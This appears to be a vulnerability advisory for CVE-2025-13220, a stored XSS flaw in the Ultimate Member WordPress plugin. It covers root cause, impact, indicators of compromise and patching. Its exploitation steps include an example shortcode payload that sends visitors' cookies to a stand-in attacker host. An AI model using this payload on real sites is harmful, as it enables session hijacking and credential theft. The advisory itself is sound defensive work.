CVE-2025-13220: 
WordPress vulnerability analysis and mitigation

CVE-2025-13220 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin for WordPress. It affects all versions up to and including 2.11.0, caused by insufficient input sanitization and output escaping on shortcode attributes. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence). The vulnerability was published on December 21, 2025, with Wordfence as the assigning authority.

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), stemming from the plugin's failure to properly sanitize user-supplied shortcode attribute values before rendering them in HTML output. Specifically, multiple locations in includes/core/class-shortcodes.php (lines 67, 525, 542, 558, 591, 625) lack adequate escaping, allowing malicious script payloads to be stored in the database and later reflected to site visitors (Wordfence, WordPress Trac). The attack vector is network-based, requires low privileges (Contributor role), no user interaction beyond page access, and has a changed scope — meaning the injected script can affect users' browsers outside the attacker's own session.

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits those pages. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement or malware distribution. While availability is not directly impacted, the confidentiality and integrity of user data and site content are at risk, and a compromised administrator session could result in full site takeover (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13220 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Obtain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on a site running Ultimate Member plugin version ≤ 2.11.0.
2. Identify Vulnerable Shortcodes: Locate pages or posts where Ultimate Member shortcodes (e.g., [ultimatemember]) are used, or create a new post/page using these shortcodes.
3. Inject Malicious Payload: Insert a crafted XSS payload into a vulnerable shortcode attribute — for example: [ultimatemember attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or Submit Content: Save or submit the post/page containing the injected shortcode. The malicious script is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing script tags or encoded JavaScript within shortcode attribute parameters.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) stored in the wp_posts table within Ultimate Member shortcode content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing Ultimate Member shortcodes; unusual cookie or credential exfiltration traffic.
• File System: No direct file system artifacts expected for stored XSS, but monitor for new or modified PHP files in the Ultimate Member plugin directory that could indicate secondary compromise following session hijacking.

Users should update the Ultimate Member plugin to version 2.11.1 or later, which includes the patch addressing insufficient sanitization and output escaping in shortcode attributes (WordPress Trac Changeset). As a temporary workaround, site administrators can restrict Contributor-level users from creating or editing pages that use Ultimate Member shortcodes, or disable the plugin until patching is feasible. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional defense-in-depth while awaiting an update (Wordfence).

Wordfence, which assigned and disclosed this CVE, published the vulnerability details on December 21, 2025. The vulnerability was also picked up by ENISA's EUVD database (EUVD-2025-204658) and noted by Red Hat's security advisory tracker. No significant independent researcher commentary or major media coverage has been identified beyond standard vulnerability aggregator reporting (Wordfence, Red Hat CVE).